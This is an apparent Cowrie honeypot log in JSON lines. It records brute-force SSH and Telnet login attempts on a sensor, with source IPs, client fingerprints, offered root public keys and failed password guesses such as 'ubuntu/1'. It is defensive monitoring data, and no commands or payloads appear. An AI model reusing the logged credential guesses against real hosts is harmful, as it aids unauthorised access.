{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:43:a2:c3:bb:ea:b9:45:ff:cb:10:c8:1b:dd:8f:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuIvAD4WVtiZ2jruVe/8AKU9mCfgJ2NoRGiMvGuEUctYcX7yoSupFoSqtk4vN9YbGm8aRQZr3ZA88R0i8dQXj5b7NcS8JFJJENsnlGH5xcs+HGCY9XH9kGoYZ3hGTyjsCbYdCijxcrfYvIQvFdJPuhdoLLjani2Rn0GiA0hk9zkq5Nq3ahiux+oo0EZRIsgNOWX1ZclZK5kul4dWi8hYR3nJntvx2YaM1BfpfhVS2d9iZS2hWuWM7bmD0IhRBksWuGQrAIdv/tuUL2+POXG/Co9XBsTKGVj2cOeX+TL/Sy3MEcSzzGXA33PF0qfbDmv28HULz3mQ5t4YKd/ClGgVLK71SMcNq6xkiPPiWuA3uDWL1EZl4Y2jS0ll+IXlI8VhlSY15Wjejv9VNGj6+im+zR8NV5AUFZvrMJkpGmv/2pf1PTmBXSdRo4WzyyGL/gMNhX2zMevpuaH/UMFAZzPx4HzOWIzJLtXmV1wFjJtJTU+Td2tyMTMH29NoZ3B8IYLfd2t4i+xyrxvTuuXg7DoldYQj/KSTVXxdNjlfffQrwg4qrlBh8/tPmsh7oPMdSep8EjwhlAAst2cCw5+X5hwP74hbIcp0UB3ju8+oebsqzli48DnDRULd0mAx0iIkr0ev+smv0mXTa79x96L5gZIeQ9GZI1Ph11HBNozekUrEbQFw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:22.054873Z","src_ip":"51.77.222.142","session":"a3fb6c0eec50","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:21:38:a9:88:d6:66:b9:c6:6b:d0:68:6d:f3:3c:fc","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKic6EFC8Mnf/SYzlrdp0B+mte/yTu6eqHpuTEaVVHVr9CHUfASV35YXSXydIpnGsQ0SbwupgadgYCXI0gzKBPHG9MDysXj4MUR9BSVPiYEb+zRQIAI3PhefmbUaqABXZZ7+Xd006E2YRc3GQcy4jqtAvHuBsGBF0ZItrRQPZ4F3AAAAFQDdkZFpRWuT0Ip9SyvW3zu7h/O5PwAAAIEAgaSExqqVRoEnBR7yIdkqGa00JE5Foz7m9coss2OIbj+QAvYg5SwppLMi2MScsXKpL7rFsfm2gGKUd0n1PpUOSakuK5HMeLxlZ2eXMHUFoebHf8dl7Vj2otdlRuNo9uMMZe9ZR9j+Am4w4SCvsTTEPCIiGhCdMo0n/vDXa7I7RawAAACAGkbQO9dJdbDWnusc2NL9WF7pQDvysmBkGAjFDfKvCwL8rtOd7CMCK4z/llJGtStbnoYwrvb3DZ4lWE0yjwXFO3mpzmcRpsuc1lxG/TlLeH1OlDdj/BoRCP+xJCsiUQsc3bSsPJp5SOhKFpW4ERbB+RoOkduCnqXfEniCVcs7i4w=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 52:21:38:a9:88:d6:66:b9:c6:6b:d0:68:6d:f3:3c:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:22.133061Z","src_ip":"51.77.222.142","session":"a3fb6c0eec50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:21:38:a9:88:d6:66:b9:c6:6b:d0:68:6d:f3:3c:fc","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKic6EFC8Mnf/SYzlrdp0B+mte/yTu6eqHpuTEaVVHVr9CHUfASV35YXSXydIpnGsQ0SbwupgadgYCXI0gzKBPHG9MDysXj4MUR9BSVPiYEb+zRQIAI3PhefmbUaqABXZZ7+Xd006E2YRc3GQcy4jqtAvHuBsGBF0ZItrRQPZ4F3AAAAFQDdkZFpRWuT0Ip9SyvW3zu7h/O5PwAAAIEAgaSExqqVRoEnBR7yIdkqGa00JE5Foz7m9coss2OIbj+QAvYg5SwppLMi2MScsXKpL7rFsfm2gGKUd0n1PpUOSakuK5HMeLxlZ2eXMHUFoebHf8dl7Vj2otdlRuNo9uMMZe9ZR9j+Am4w4SCvsTTEPCIiGhCdMo0n/vDXa7I7RawAAACAGkbQO9dJdbDWnusc2NL9WF7pQDvysmBkGAjFDfKvCwL8rtOd7CMCK4z/llJGtStbnoYwrvb3DZ4lWE0yjwXFO3mpzmcRpsuc1lxG/TlLeH1OlDdj/BoRCP+xJCsiUQsc3bSsPJp5SOhKFpW4ERbB+RoOkduCnqXfEniCVcs7i4w=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:22.136866Z","src_ip":"51.77.222.142","session":"a3fb6c0eec50","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"90:de:0f:a7:82:1c:ec:ae:28:dd:61:71:aa:54:7d:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrqKLNqfUBeRQhxDH575RKHA6wBPSRLrL4qFaqB7MdpYb8TcfwZYPmEHGBnlEtpndJB49BSi35QuQXGgJDUB3LyubjH/UZKjzzYdTjAKYN5O/aySl4Iy83aSPj2DU0lTLCKb/6+aREwztDG5ELP+zQWMXNYnvxbompsUeeFdyA54oVFwWDz9Q38EQGmHo6vrx/jWdCnRC9BNCZ0PHbQJ30r7sKYxdRKo2/ScCWgH/tMladmPrQeeYqy6exGlTBjTOF18C4SHYP0AqCivDDnjssBGyvKZmiNZmWJlbx8QdE+Fn3gDPsuIlT/G1QYtewdJ4pbgR/UKz3EGklugQb8RO1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 90:de:0f:a7:82:1c:ec:ae:28:dd:61:71:aa:54:7d:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:22.217403Z","src_ip":"51.77.222.142","session":"a3fb6c0eec50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"90:de:0f:a7:82:1c:ec:ae:28:dd:61:71:aa:54:7d:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrqKLNqfUBeRQhxDH575RKHA6wBPSRLrL4qFaqB7MdpYb8TcfwZYPmEHGBnlEtpndJB49BSi35QuQXGgJDUB3LyubjH/UZKjzzYdTjAKYN5O/aySl4Iy83aSPj2DU0lTLCKb/6+aREwztDG5ELP+zQWMXNYnvxbompsUeeFdyA54oVFwWDz9Q38EQGmHo6vrx/jWdCnRC9BNCZ0PHbQJ30r7sKYxdRKo2/ScCWgH/tMladmPrQeeYqy6exGlTBjTOF18C4SHYP0AqCivDDnjssBGyvKZmiNZmWJlbx8QdE+Fn3gDPsuIlT/G1QYtewdJ4pbgR/UKz3EGklugQb8RO1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:22.221521Z","src_ip":"51.77.222.142","session":"a3fb6c0eec50","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:4d:20:4c:fe:33:f4:8b:c3:9e:6a:af:1e:f7:4e:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCe08JEJ2o/wP2iB8cyP3rJKNVUkck4Pa82qzkuaaMey901KZ2UQZnpNVGZ5PC9lWrtPvixxURgG/jXHkcDKPmct50O59eEfnCeAKdBqmogNKLhWx2Mhx1N+QRzWZIlZLMiwzJxggnpC0xMwgR57GqHdKisqX5M8cPo2WHpeDM3EKLx0a9pioN3JZG5WxqRya4aKMPChEGhYvlxtjOpJbjyblMSzWN1qj/0DxBSSUbk1xsjLngR5rpE9gz1Bbs3nlQo2S4oiqReO68Xh5AyTthbe9dVRQPpTreLUPkRgPMZEcM2VEMS/7vZkxFrDGZ4vxHSVAIUR2R6hKkiQRgkmnOv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:4d:20:4c:fe:33:f4:8b:c3:9e:6a:af:1e:f7:4e:d6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:22.300413Z","src_ip":"51.77.222.142","session":"a3fb6c0eec50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:4d:20:4c:fe:33:f4:8b:c3:9e:6a:af:1e:f7:4e:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCe08JEJ2o/wP2iB8cyP3rJKNVUkck4Pa82qzkuaaMey901KZ2UQZnpNVGZ5PC9lWrtPvixxURgG/jXHkcDKPmct50O59eEfnCeAKdBqmogNKLhWx2Mhx1N+QRzWZIlZLMiwzJxggnpC0xMwgR57GqHdKisqX5M8cPo2WHpeDM3EKLx0a9pioN3JZG5WxqRya4aKMPChEGhYvlxtjOpJbjyblMSzWN1qj/0DxBSSUbk1xsjLngR5rpE9gz1Bbs3nlQo2S4oiqReO68Xh5AyTthbe9dVRQPpTreLUPkRgPMZEcM2VEMS/7vZkxFrDGZ4vxHSVAIUR2R6hKkiQRgkmnOv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:22.304807Z","src_ip":"51.77.222.142","session":"a3fb6c0eec50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:22.384554Z","src_ip":"51.77.222.142","session":"a3fb6c0eec50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":64463,"dst_ip":"10.17.0.5","dst_port":23,"session":"caa3e1e57890","protocol":"telnet","message":"New connection: 212.55.149.117:64463 (10.17.0.5:23) [session: caa3e1e57890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:32.382798Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":48746,"dst_ip":"159.203.135.109","dst_port":22,"session":"bba4dbb8ab34","protocol":"ssh","message":"New connection: 80.94.92.186:48746 (159.203.135.109:22) [session: bba4dbb8ab34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:35.608208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:35.744484Z","src_ip":"80.94.92.186","session":"bba4dbb8ab34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:35.748049Z","src_ip":"80.94.92.186","session":"bba4dbb8ab34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:36.313319Z","src_ip":"80.94.92.186","session":"bba4dbb8ab34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.94311547279358,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:36.472816Z","src_ip":"128.199.8.54","session":"20951412e8c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.34078025817871,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:37.545039Z","src_ip":"68.178.168.57","session":"2247188a4a31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:37.550430Z","src_ip":"80.94.92.186","session":"bba4dbb8ab34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.62183952331543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:46.342592Z","src_ip":"68.178.168.57","session":"fd9da9546367","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.570526838302612,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:50.555496Z","src_ip":"68.178.168.57","session":"d1925b61bb95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":43250,"dst_ip":"159.203.135.109","dst_port":22,"session":"404f3c5f11de","protocol":"ssh","message":"New connection: 78.83.249.54:43250 (159.203.135.109:22) [session: 404f3c5f11de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:06:07.290004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:06:07.294562Z","src_ip":"78.83.249.54","session":"404f3c5f11de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:06:07.410750Z","src_ip":"78.83.249.54","session":"404f3c5f11de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Qwerty@123","message":"login attempt [user/Qwerty@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:06:07.906666Z","src_ip":"78.83.249.54","session":"404f3c5f11de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.81864833831787,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:06:08.872787Z","src_ip":"212.55.149.117","session":"087194850bce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:06:09.025515Z","src_ip":"78.83.249.54","session":"404f3c5f11de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.168.57","src_port":37990,"dst_ip":"10.17.0.5","dst_port":23,"session":"86bba9a1692b","protocol":"telnet","message":"New connection: 68.178.168.57:37990 (10.17.0.5:23) [session: 86bba9a1692b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:06:11.637717Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.168.57","src_port":41776,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d86a46ee543","protocol":"telnet","message":"New connection: 68.178.168.57:41776 (10.17.0.5:23) [session: 5d86a46ee543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:06:21.269645Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46724,"dst_ip":"159.203.135.109","dst_port":23,"session":"33641855085d","protocol":"telnet","message":"New connection: 128.199.8.54:46724 (159.203.135.109:23) [session: 33641855085d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:06:24.961208Z"}
{"eventid":"cowrie.session.closed","duration":30.520243644714355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:06:42.157850Z","src_ip":"68.178.168.57","session":"86bba9a1692b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.168.57","src_port":49866,"dst_ip":"10.17.0.5","dst_port":23,"session":"2feb1e755b9d","protocol":"telnet","message":"New connection: 68.178.168.57:49866 (10.17.0.5:23) [session: 2feb1e755b9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:06:46.785262Z"}
{"eventid":"cowrie.session.closed","duration":30.922796726226807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:06:52.192304Z","src_ip":"68.178.168.57","session":"5d86a46ee543","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.177.154","src_port":49024,"dst_ip":"10.17.0.5","dst_port":22,"session":"19c7e916c964","protocol":"ssh","message":"New connection: 198.23.177.154:49024 (10.17.0.5:22) [session: 19c7e916c964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:06:57.219577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:06:57.223929Z","src_ip":"198.23.177.154","session":"19c7e916c964","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:06:57.243814Z","src_ip":"198.23.177.154","session":"19c7e916c964","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:65:3a:8b:f1:cd:5a:6d:f8:fa:62:82:42:35:9c:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGTbDCQh5vS3UjSEwTneu3fP8uI8ubPAxdCVeHRggdS9MDMEP3P1kszUHf8LzMuq98ufzVR+ihvw9UTi1394fNcECpTqsTnaqoMfAMFMXb15QJegoeuTbcnoYV4gmNYzkk+tLmJLgyVmvmOZZvIGBzttgCkdyXualCa++HFyo3c308rDXRcUAepTG2w1NTHyY/RGhiHJHSlSxdRlHXBTmUpfGQ4CBS3YNZw0h/GIortTi6HeMj5frWckd0f/gMYQRYiNlMCP5kCygYzKfpvsuTnOnUs8ltssvvA+G/YBTGcPigWCDdg26xhLBRoG8LbM7BrILt0ps4x7ucweZnjfhJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7e:65:3a:8b:f1:cd:5a:6d:f8:fa:62:82:42:35:9c:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:06:57.357995Z","src_ip":"198.23.177.154","session":"19c7e916c964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:65:3a:8b:f1:cd:5a:6d:f8:fa:62:82:42:35:9c:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGTbDCQh5vS3UjSEwTneu3fP8uI8ubPAxdCVeHRggdS9MDMEP3P1kszUHf8LzMuq98ufzVR+ihvw9UTi1394fNcECpTqsTnaqoMfAMFMXb15QJegoeuTbcnoYV4gmNYzkk+tLmJLgyVmvmOZZvIGBzttgCkdyXualCa++HFyo3c308rDXRcUAepTG2w1NTHyY/RGhiHJHSlSxdRlHXBTmUpfGQ4CBS3YNZw0h/GIortTi6HeMj5frWckd0f/gMYQRYiNlMCP5kCygYzKfpvsuTnOnUs8ltssvvA+G/YBTGcPigWCDdg26xhLBRoG8LbM7BrILt0ps4x7ucweZnjfhJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:06:57.361391Z","src_ip":"198.23.177.154","session":"19c7e916c964","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:74:18:46:6e:55:c1:00:c3:35:30:a8:2c:79:58:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4MeR0inzlhJj8r9QpwhWvKOqW6pyBB4bWhoTzLwckgRutJNA14Bx69WYJT1d4NYqIB8uJAzDPKrL1npogRNjuKNu+a3N0O9MQ24Y4SAKVuIPv9Ne7ZaVsQerBDWvMAylRmiasPscS7CjSL5tFdpmAg2UQ4LVb8euX00MvvbEE15ouazx2Cvlzpb6c1wRZaj63Xw/aZDQblx26t3CUvZkwFTJ9OTxOuzkzWcZfK6cYdlRHpVFtmnEICEEgI4XN1pZL2PlZNHr6CXhiGLBCBdninbdaf2+IrUBtzJ0ftCEP2yYlgZg6s/jidAE+iuXaFfV4+gPqpUSx7rRVsH27E02Rw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:74:18:46:6e:55:c1:00:c3:35:30:a8:2c:79:58:35","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:06:57.381706Z","src_ip":"198.23.177.154","session":"19c7e916c964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:74:18:46:6e:55:c1:00:c3:35:30:a8:2c:79:58:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4MeR0inzlhJj8r9QpwhWvKOqW6pyBB4bWhoTzLwckgRutJNA14Bx69WYJT1d4NYqIB8uJAzDPKrL1npogRNjuKNu+a3N0O9MQ24Y4SAKVuIPv9Ne7ZaVsQerBDWvMAylRmiasPscS7CjSL5tFdpmAg2UQ4LVb8euX00MvvbEE15ouazx2Cvlzpb6c1wRZaj63Xw/aZDQblx26t3CUvZkwFTJ9OTxOuzkzWcZfK6cYdlRHpVFtmnEICEEgI4XN1pZL2PlZNHr6CXhiGLBCBdninbdaf2+IrUBtzJ0ftCEP2yYlgZg6s/jidAE+iuXaFfV4+gPqpUSx7rRVsH27E02Rw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:06:57.385692Z","src_ip":"198.23.177.154","session":"19c7e916c964","protocol":"ssh"}
